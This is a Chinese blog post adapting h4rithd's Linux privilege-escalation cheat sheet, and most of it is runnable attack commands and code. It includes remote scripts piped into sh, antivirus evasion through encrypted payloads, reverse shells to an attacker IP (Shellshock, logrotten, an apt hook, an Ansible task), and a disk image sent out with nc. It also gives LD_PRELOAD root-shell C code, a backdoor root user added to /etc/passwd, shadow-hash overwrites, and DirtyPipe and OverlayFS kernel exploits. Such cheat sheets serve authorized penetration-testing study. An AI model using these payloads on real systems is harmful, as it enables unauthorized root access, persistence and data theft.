Linux特权提升-h4rithd-2024.04.03版本

笔记说明:

该笔记是国外进攻性爱好者 h4rithd 在 gitbook 上记录的备忘笔记,我整体翻译了注释的内容,并根据个人打靶学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。

PrivilageEsc Linux 👑

Linux 提权脚本

检查列表:https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist

01. linpeas.sh

  • 远程网络
1
2
3
4
## ------------------| Remote download and execrute from Github 
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

wget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
  • 本地网络
1
2
3
4
5
6
7
8
9
10
11
## ------------------| Local Network
curl 10.10.10.10/linpeas.sh | sh

## ------------------| Without CURL
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

## ------------------| Excute from memory and send output back to the host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
wget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
nc -lvnp 9002 | tee linpeas.out #Host
  • 输出格式
1
2
3
## ------------------| Output to file
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors
  • AV 旁路
1
2
3
4
5
6
7
8
9
## ------------------| open-ssl encryption
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim

## ------------------| Base64 encoded
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 #Start HTTP server
curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim

02. LinEnum.sh

  • 远程网络
1
2
## ------------------| Remote download and execrute from Github 
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
  • 本地网络
1
2
3
./LinEnum.sh -r report.out -t
# -t <-- Include thorough (lengthy) tests
# -e /dev/shm/ <-- Export all info by separate one by one

03.Linux漏洞利用建议2

1
./linux-exploit-suggester-2.pl -k <KernalVersion>

04.Linux智能枚举

1
./lse.sh -l 2 -i

05.PSPY

-Linux进程监听[非特权]

  • 下载
    • 32位大静态版本:pspy32 下载

    • 64 位大静态版本:pspy64 下载

    • 32位小版本:pspy32s 下载

    • 64位小版本:pspy64s 下载

1
2
3
4
5
6
7
8
## ------------------| 打印命令和文件系统事件,并每1000毫秒(=1秒)扫描procfs
./pspy64 -pf -i 1000

## ------------------| 将观察者递归地放置在两个目录中,并非递归地放置到第三个目录中
./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir

## ------------------| 禁用打印发现的命令,但启用文件系统事件
./pspy64 -p=false -f

06.常见漏洞

06.0 滥用 Shell 功能

1
2
3
4
5
6
7
8
9
10
11
12
## ------------------| 如果bash<4.2-048,我们也可以注入到绝对路径。
/bin/sh --version
strace -v -f -e execve /path/to/file 2>&1 | grep exec
function /path/to/service { /bin/bash -p; }
export -f /path/to/service
/path/to/file

## ------------------| 如果bash<4.4(bash小于ps4)
/bin/sh --version
env -i SHELLOPTS=xtrace PS4='$(whoami)' /path/to/file
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/vulnbash; chmod +s /tmp/vulnbash)' /path/to/file
/tmp/vulnbash -p

06.1 Shellshock

1
2
3
Date patched      : 24 September 2014
Date discovered : 12 September 2014
Affected software : Bash (1.0.3–4.3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
h4rithd='() { :; }; echo sh0ck' bash -c :
h4rithd='() { :;}; echo sh0ck' bash -c :
# 如果打印sh0ck;看起来确实很容易受到shell shok的攻击
# to verify
h4rithd='echo sh0ck' bash -c :
# Nothing print

# Pik any env variable
env
LOGNAME='() { :;}; echo sh0ck' sudo /root/troll

## ------------------| 使用用户代理
curl -A '() { :; }; echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.26/4545 0>&1' http://127.0.0.1/cgi-bin/stats
### or
curl -so shellshock.py https://www.exploit-db.com/raw/34900
python shellshock.py payload=reverse rhost=10.10.14.26 lhost=127.0.0.1 lport=4545 pages=/cgi-bin/stats

06.2 LXD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
## ------------------| 查找本地用户帐户是lxd组的一部分。
id

## ------------------| 克隆存储库并构建buildalpineimg
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
## ------------------| 对于32位使用-i386或-i686
mv alpine-v* alpine.tar.gz
ls -al

## ------------------| Start web server
python3 -m http.server 80

## ------------------| 在攻击者机器上下载该文件。
cd /dev/shm
wget 10.10.14.26/alpine.tar.gz

## ------------------| 执行并获得根外壳
lxc image import ./alpine.tar.gz --alias h4rithd
lxc image list
lxc init h4rithd ignite -c security.privileged=true
### 如果上面的命令出错,请尝试lxd-init
lxc list
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
cd /mnt/root

06.3 日志旋转

1
2
3
4
5
6
7
8
wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
gcc -o logrotten logrotten.c

echo "bash -i >& /dev/tcp/10.10.14.26/4545 0>&1" > shell.sh
chmod +x shell.sh
echo "test">>/<path>/access.log; ./logrotten <path>/access.log -d
cp $(pwd)/shell.sh /etc/bash_completion.d/access.log
cat /etc/bash_completion.d/access.log

06.4 DirtyPipe CVE-2022-0847

1
2
3
4
5
6
7
8
9
10
11
12
13
14
## ------------------| Abstract
## 自5.8版本以来,Linux内核中存在漏洞,允许覆盖任意只读文件中的数据
## 该漏洞已在Linux 5.16.11、5.15.25和5.10.102中修复。

## ------------------| Add root user
wget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c
gcc -o dpipe exploit.c
./dpipe
su aaron # password : aaron

## ------------------| Change SUID binary
wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c
gcc -o dpipe exploit-2.c
./dpipe $(which dash)

06.5 如果你有或者可以?

  • 如果你有LD_PRELOAD变量env_keep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
## ------------------| 检查env_keep变量是否具有LD_PRELOAD?
sudo -l

## ------------------| 创建编译为共享对象(.so扩展名)文件的C代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}

## ------------------| 编译c代码以共享对象(.so扩展名)
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles

## ------------------| Execute
sudo LD_PRELOAD=/tmp/shell.so <Programe_Listed_in_sudo-l>
  • 如果你有LD_LIBRARY_PATH变量env_keep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
## ------------------| 检查env_keep变量是否具有LD_PRELOAD?
sudo -l

## ------------------| 创建编译为共享对象的C代码
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

## ------------------| 编译c代码以共享对象(.so扩展名)
gcc -o /tmp/library_path.so -shared -fPIC library_path.c

## ------------------| 劫持共享对象libcrypt.so.1
## 对(sudo-l)程序文件运行ldd以获取另一个
mv /tmp/library_path.so /tmp/libcrypt.so.1

## ------------------| Execute
sudo LD_LIBRARY_PATH=/tmp/ <Programe_Listed_in_sudo-l>
  • 如果你有SETENVsudo -l
1
2
3
4
5
## ------------------|Check
sudo -l | grep SETENV

## ------------------| Execute
sudo PATH=/<PATH>/:$PATH /script.sh
  • 我们有no_root_squash/etc/exports
1
2
3
4
5
6
7
8
9
10
### 如果“no_root_squash”选项出现在可写共享上,我们可以创建一个设置了SUID位的可执行文件,并在目标系统上运行        
## ------------------| 检查是否存在no_root_squash?
cat /etc/exports | grep no_root_squash

## ------------------| 列出装载并将其装载到我们的本地机器
showmount -e <IP>
sudo mkdir -p /mnt/new
sudo mount -t nfs <IP>:/<WritableShares>/mnt/new

### 创建一个SUID二进制文件并放置它。然后通过攻击者机器执行它。
  • 如果你有文件的权限/etc/sudoers
1
2
3
4
### 使用whoami命令获取当前用户,然后输入以下行 
username ALL=(ALL) NOPASSWD: ALL

### 然后运行sudo su-
  • 如果你有文件的权限/etc/shadow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
## ------------------| Create password 
openssl passwd -6 -salt h4rithd h4rithd123
### -1 --> MD5
### -5 --> SHA256
### -6 --> SHA512
### 也可以将其与out salt标志一起使用

### 替换/etc/shadow中的密码(h4rithd123)
$6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy.igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0

sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow

## ------------------| one line : h4rithd123
sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow
  • 如果您有权限/etc/passwd
1
2
3
4
5
6
7
8
## ------------------| Create password 
openssl passwd -1 -salt h4rithd Password123 # ->> $1$h4rithd$wXIyqYpzYefGzryBsTFSU/

## ------------------| Edit the passwd file
echo 'h4rithd:$1$h4rithd$wXIyqYpzYefGzryBsTFSU/:0:0:root:/root:/bin/bash' >> /etc/passwd

## ------------------| Login to the user h4rithd
su h4rithd ## Password123
  • 可以apache2root用户运行吗?
1
2
3
## ------------------| Read the shadow file
sudo apache2 -f /etc/shadow
## then crack it
  • 如果您在 video
1
2
3
4
5
## 视频组有权查看屏幕输出。
## 使用w命令,查找是否有tty1会话(物理记录)
cat /dev/fb0 > /tmp/screen.raw ## 将该文件复制到主机。
cat /sys/class/graphics/fb0/virtual_size ## 将其用作分辨率。
## 使用gimp打开照片作为“RAW图像数据”,并将颜色模式设置为RGB565
  • 如果你在docker团体中
1
2
3
4
5
## ------------------| List docker images
docker images | awk '{print $1}' | sed '1d'

## ------------------| Use one of image and get root
docker run -v /:/mnt --rm -it <img_name> chroot /mnt sh
  • 如果你apt update/etc/crontab
1
2
3
## ------------------| Create pre-invoke script
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/<HOSTIP>/4545 0>&1"' | base64 -w0
echo 'APT::Update::Pre-Invoke {"echo L2Jpbi9 | base64 -d | bash"}' > /etc/apt/apt.conf.d/000shell
  • 如果sudo -l只是为了apt-get updateapt-get upgrade
1
2
## Watch this video
https://youtube.com/watch?v=EXuEDHFjS9E&t=2070
  • 如果您看到jdwp以特权用户身份运行?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## ------------------| First you need to port forword 
ssh -L 8000:127.0.0.1:8000 user@ip

## ------------------| Using jdwp-shellifier [Best Methord]
git clone https://github.com/IOActive/jdwp-shellifier
cd jdwp-shellifier
### Create reverse shell on /tmp/shell.sh (Victem's machine)
python2 jdwp-shellifier.py -t 127.0.0.1 --break-on "java.lang.String.indexOf" --cmd "/tmp/shell.sh"

## ------------------| Attached remote port [Connection is not persistence]
jdb -attach 8000
> classpath ### List class path
> classes ### List classes
> threads ### List all threads
> stop in java.lang.String.indexOf(int) ### Set brakepoint
print new java.lang.Runtime().exec("/bin/touch /tmp/hello.txt")
  • 如果你在disk里?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## ------------------| Check if you are in disk group.
groups | grep -oP disk

## ------------------| Check if you have R/W permission on sds.
ls -la /dev/sd*

## ------------------| Check which one belongs to me.
mount | grep '^\/dev'

## ------------------| Try to read it
strings /dev/sda1 | grep root.txt
debugfs /dev/sda1 ## then use ls commands.

## ------------------| If you do not have access; Check if it link to any other
ls -al /dev/mapper/Kotarak--vg-root ##Suppose I get an "/dev/dm-0" in response.

## ------------------| Send file using netcat
nc -lvnp 8002 > disk.img.gz ## on attacker's machine
dd if=/dev/dm-0 | gzip -1 - | nc <attackers'IP> 8002

## ------------------| Mout the image file to our machine
gunzip disk.img.gz
mount disk.img /mnt
1
2
3
4
5
6
7
8
9
10
11
12
13
## ------------------| Check which file we have write permission on 
find /etc -writable -ls 2>/dev/null
ls -al /etc/fail2ban/action.d/

## ------------------| Expolit
### Replace "actionban = shell" on /etc/fail2ban/action.d/iptables-multiport.conf
sed 's/actionban =.*/actionban = chmod u+s \/bin\/bash/g' /etc/fail2ban/action.d/iptables-multiport.conf > config.conf
rm -f /etc/fail2ban/action.d/iptables-multiport.conf
mv config.conf /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
hydra <IP> ssh -l root -P /usr/share/wordlists/rockyou.txt
ls -l /bin/bash
bash -p
  • 你能运行gdb(调试)吗?
1
2
3
4
5
6
7
8
9
10
## ------------------| Find process which run under root prv
ps -aux | grep root | grep "python"

## ------------------| Attach the gdb instance to that specific process ID
gdb -p

## ------------------| Hook/Call the process
call (void)system("chmod u+s /bin/bash")
quite
bash -p
  • 如果可以读取.Xauthority文件?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## ------------------| Check if it contain MIT-magic-cookie-1
xxd .Xauthority

## ------------------| Check what display is currently connected (:0)
w

## ------------------| Verify Cookie
XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0
XAUTHORITY=/tmp/.Xauthority xwininfo -root -tree -display :0

## ------------------| Take Screenshot
XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/capture.xwd

## ------------------| Convert
sudo apt install imagemagick -y
convert capture.xwd capture.png
  • 如果您可以dstat以 sudo 身份运行工具
1
2
3
4
5
6
7
8
## ------------------| Find configuration settings
find / -type d -name dstat 2>/dev/null

## ------------------| Assume the location is "/usr/local/share/dstat"
echo "import os;os.system('sudo chmod +s /usr/bin/bash')" > /usr/local/share/dstat/dstat_h4rithd.py
dstat --list | grep h4rithd
sudo -u root /usr/bin/dstat --h4rithd
bash -p
  • 如果我们可以运行任何doas
1
2
3
4
5
## ------------------| Find configuration settings
find / -type f -name doas.conf 2>/dev/null

## ------------------| run as another user
doas -u root /usr/bin/bash

06.6 SUDO漏洞

1
2
3
4
5
6
7
## ------------------| Affected sudo versions: 1.8.0 to 1.9.12p1
sudo -V

## ------------------| Exploit
export EDITOR="vim -- /etc/passwd"
sudoedit /etc/motd
### change any user group to 0

06.7 Ansible

1
2
3
4
5
6
7
## ------------------| Reverse Shell
- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/<IP>/4545 0>&1'

## ------------------|

06.8 其他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
##_______________________________________________________________________________
## Sudo 1.8.27 - Security Bypass (CVE: 2019-14287)
sudo -u#-1 /bin/bash

##_______________________________________________________________________________
## CVE-2021-3156 sudo Vulnerability Allows Root Privileges
## https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges
## versions 1.7.7 through 1.7.10p9, 1.8.2 through 1.8.31p2, and 1.9.0 through 1.9.5p1 are affected.
sudoedit -s '\' `perl -e 'print "A" x 65536'`
## If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerable

##_______________________________________________________________________________
## USBCreator D-Bus Privilege Escalation in Ubuntu Desktop
gdbus call -y -d com.ubuntu.USBCreator -o /com/ubuntu/USBCreator -m com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /dev/shm/rootkey true

06.9 OverlayFS 2021 - [ CVE-2021-3493 ]

1
2
3
4
5
6
7
8
9
10
11
12
13
## ------------------| Affected Versions,
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 19.04
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

## ------------------| Expolit
ssh
## Or you can download it from here: https://github.com/h4rithd/PrecompiledBinaries/tree/main/CVE-2021-3493
gcc exploit.c -o exploit
./exploit

06.10 OverlayFS 2023 - CVE-2023-0386

1
2
3
4
5
6
7
8
9
10
11
12
13
## ------------------| Affected Versions, if kernel version is lower than 6.2
uname -r

## ------------------| Expolits
git clone https://github.com/xkaneiki/CVE-2023-0386.git
## or you can download precompiled binary from here: https://github.com/h4rithd/PrecompiledBinaries/edit/main/CVE-2023-0386
sudo apt-get install libfuse-dev libcap-dev
cd CVE-2023-0386
make all
### Start two terminals and enter in the first terminal
./fuse ./ovlcap/lower ./gc
### In the second terminal enter
./exp

06.11 GameOver(lay) CVE-2023-2640 和 CVE-2023-32629

1
2
3
4
5
6
7
8
9
10
11
## ------------------| My one
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash -i\")'"

## ------------------| Original poc payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

## ------------------| Adjusted poc payload by twitter user; likely false positive
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"

07.内核权限

  1. Linux 内核 < 4.4.0-116 (Ubuntu 16.04.4) - 本地权限提升

  2. Linux 内核 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) ****

08.检查提醒清单

目录


清单

  • 我们可以sudo做什么?sudo -l
  • /etc/passwd 或 /etc/shadow 可写吗?
  • 有以 root 身份运行的 cronjobs 吗?
  • SUID:find / -type f -perm -u=s 2>/dev/null
  • 检查流程:ps -aux | grep root
  • 枚举脚本
  • 检查文件系统中是否有奇怪的文件

枚举工具


内核漏洞

查找内核版本:uname -a

然后,您可以使用 searchsploit 搜索内核版本,也可以通过Linux Exploit Suggester运行它以查找匹配的潜在漏洞。

Linux 利用建议器语法:./linux-exploit-suggester-2.pl -k <kernel version>


服务漏洞

检查正在运行的进程:ps -aux | grep root

您可以使用以下任一方法来识别这些进程的版本号:

  • <program> --version/<program> -v
  • dpkg -l | grep <program>
  • rpm -qa | grep <program>

然后检查exploit-db / searchsploit的软件和版本。


弱文件权限

/etc/shadow

如果/etc/shadow可写,我们可以用自己的密码更改root密码。

要生成新的密码哈希:mkpasswd -m sha-512 newpass

将现有的哈希值与新的哈希值交换,然后su获取 root 权限。

/etc/passwd

如果 /etc/passwd 是可写的,我们可以将哈希更改为我们自己的。出于兼容性原因,这会取代 /etc/shadow。

我们还可以添加自己的 root 用户。

要生成 /etc/passwd 哈希,请使用:openssl passwd "newpass"

备份

常见的备份位置有:

  • /home/user
  • /
  • /tmp
  • /var/backups

SUDO

有用的命令

列出用户可以/不能运行的程序:(sudo -l有时这需要密码)

已知密码

1
2
3
4
5
sudo su
sudo -s
sudo -i
sudo /bin/bash
sudo passwd

Shell 转义序列

https://gtfobins.github.io/

滥用预期功能

如果程序可以使用 sudo 运行(例如 apache2),我们也许能够通过滥用预期功能来泄露敏感数据。

示例:sudo apache2 -f /etc/shadow将公开/etc/shadow 内容。如果您可以停止该服务,您也许可以以管理员身份运行 apache2 并安装一个 php revshell 来为您提供 root 权限。

env_keep滥用

如果启用了 env_keep(请参阅 参考资料sudo -l),您可以滥用 LD_PRELOAD 或 LD_LIBRARY_PATH 来运行任意代码,从而获得 root shell。

LD_预加载
  1. 验证 env_keep 已启用sudo -l并包含 LD_PRELOAD
  2. 使用以下代码创建 preload.c 文件:
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
  1. 编译它:gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
  2. 使用 sudo 和 LD_PRELOAD 运行任何允许的程序: sudo LD_PRELOAD=/tmp/preload.so apache2
LD_LIBRARY_PATH
  1. 检查程序的共享库:ldd /usr/sbin/apache2
  2. 使用以下代码创建library_path.c文件:
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
  1. 将其编译为共享库名称之一(例如 libcrypt.so.1): gcc -o libcrypt.so.1 -shared -fPIC library_path.c
  2. 使用 sudo 和 LD_LIBRARY_PATH 运行程序: sudo LD_LIBRARY_PATH=. apache2

计划任务

通用目录

系统范围:/etc/crontab 用户 crontab:

1
2
/var/spool/cron
/var/spool/cron/crontabs

配置错误

查看是否可以修改 cronjob 文件,或者是否可以修改 crontab 使用的 PATH。如果 crontab 本身是可写的,您可以添加自己的 crontab 以每分钟以 root 身份运行,为您提供一个 shell。


SUID/SGID

定位:

1
find / -type f -perm -u=s 2>/dev/null

或者

1
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

共享对象注入

如果您有像上面这样的 SUID/SGID 文件,请检查使用 strace 加载的 .so 文件: strace /usr/local/bin/program 2>&1 | grep -iE "open|access|no such file"

如果它返回不存在的 .so 文件(没有此类文件),请检查ls是否可以写入该目录。如果可以的话,创建一个包含以下内容的 .c 文件:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
setuid(0);
system("/bin/bash -p");
}

编译它:gcc-shared -fPIC-o /path/to/shared_library.so inject.c

然后运行SUID/SGID文件。

$PATH

字符串:strings /path/to/file strace:strace -v -f -e execve <command> 2>&1 | grep exec ltrace:ltrace <command>

  1. 查找要定位的 SUID/SGID 文件。
  2. 在其上运行字符串。
  3. 如果有未指定路径的内容,请使用 strace 进行验证: strace -v -f -e execve /path/to/suid/file 2>&1 | grep service
  4. 也可以用ltrace验证:ltrace /path/to/suid/file 2>&1 | grep service
  5. 使用以下内容创建 service.c:
1
2
3
4
int main() {
setuid(0);
system("/bin/bash -p");
}
  1. 编译service.c:gcc -o service service.c
  2. 将当前目录添加到 $PATH 之前:PATH=.:$PATH /path/to/suid/file

滥用 Shell 功能

某些 shell(如 Bash < 4.2-048)能够使用绝对路径名定义用户函数。

这些可以导出,以便子进程可以访问它们,并且这些函数优先于正在调用的实际文件。

方法一
  1. 查找要定位的 SUID/SGID 文件。
  2. 在其上运行字符串。
  3. 如果有指定路径的内容,请使用 strace 进行验证: strace -v -f -e execve /path/to/suid/file 2>&1 | grep service
  4. 也可以用ltrace验证:ltrace /path/to/suid/file 2>&1 | grep service
  5. 验证我们的 Bash 版本:bash --version
  6. 创建与指定路径同名的bash函数(如service):
1
2
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
  1. 执行SUID文件获取root权限
方法二

上面的步骤1-4是相同的。 5. 使用 bash 调试和 PS4 var 运行 SUID 文件:

1
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)' /path/to/suid/file
  1. 使用 -p 运行新的 rootbash 来获取 shell:/tmp/rootbash -p

密码和密钥

确保检查配置文件、.history 文件(因为它们可能包含 mysql 登录凭据等凭据)、检查 .ssh 密钥、.ovpn (openvpn) 配置文件等。

查找历史文件并浏览它们:cat -/.*history | less


网络文件系统

显示 NFS 导出列表:showmount -e <target> 挂载 NFS 共享:mount -o rw,vers=2 <target>:<share> <local_dir>

如果共享具有“no_root_squash”标志,我们就可以使用 root 权限上传我们自己的文件。

  1. 检查目标共享是否有“no_root_squash”:cat /etc/exports
  2. 确认共享可用于安装:showmount -e 10.0.0.1
  3. 创建挂载点并挂载
1
2
mkdir /tmp/nfs
mount -o rw,vers=2 10.0.0.1:/share/path /tmp/nfs
  1. 使用攻击者的 root 权限,生成有效负载: msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
  2. 设置SUID:chmod +xs /tmp/nfs/shell.elf
  3. 在目标上,运行该文件并获取 root 权限:/share/path/shell.elf

Linux特权提升-h4rithd-2024.04.03版本
https://sh1yan.top/2024/06/02/Linux-privilege-escalation-h4rithd-20240403/
作者
shiyan
发布于
2024年6月2日
许可协议